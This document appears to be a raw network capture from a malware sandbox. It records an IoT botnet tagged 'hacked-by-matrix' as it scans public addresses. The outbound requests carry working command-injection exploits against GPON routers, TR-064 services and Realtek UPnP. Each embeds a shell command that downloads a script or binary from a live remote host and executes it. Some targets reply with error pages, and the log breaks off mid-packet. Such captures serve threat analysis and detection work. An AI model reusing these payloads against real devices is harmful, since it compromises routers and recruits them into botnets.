Session ID	Source IP	Source Port	Destination IP	Destination Port
1219	192.168.2.23	34394	94.194.162.221	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:51.324392080 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1220	192.168.2.23	34312	42.29.16.2	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:51.324485064 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1221	192.168.2.23	50932	190.139.125.192	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:51.976862907 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1222	192.168.2.23	46430	114.219.25.136	52869

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:52.661282063 CET	987	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:18:53.769062996 CET	987	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:18:54.869148016 CET	987	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1223	192.168.2.23	42718	52.206.24.246	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:53.335050106 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:18:53.627509117 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:18:53.938333988 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:18:54.547626019 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:18:54.654577971 CET	284	IN	HTTP/1.1 400 Bad Request Server: awselb/2.0 Date: Thu, 21 Mar 2024 04:18:54 GMT Content-Type: text/html Content-Length: 122 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1224	192.168.2.23	39544	91.149.194.60	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:53.364404917 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:18:53.492481947 CET	322	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:18:53 GMT Content-Type: text/html Content-Length: 150 Connection: close X-Node-ID: 39 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1225	192.168.2.23	35282	93.180.121.231	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:53.972246885 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:54.673386097 CET	512	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; Data Raw: Data Ascii:
Mar 21, 2024 05:18:56.049181938 CET	512	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1226	192.168.2.23	51084	119.210.70.124	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:54.035615921 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1227	192.168.2.23	46486	114.219.25.136	52869

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:54.073537111 CET	987	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 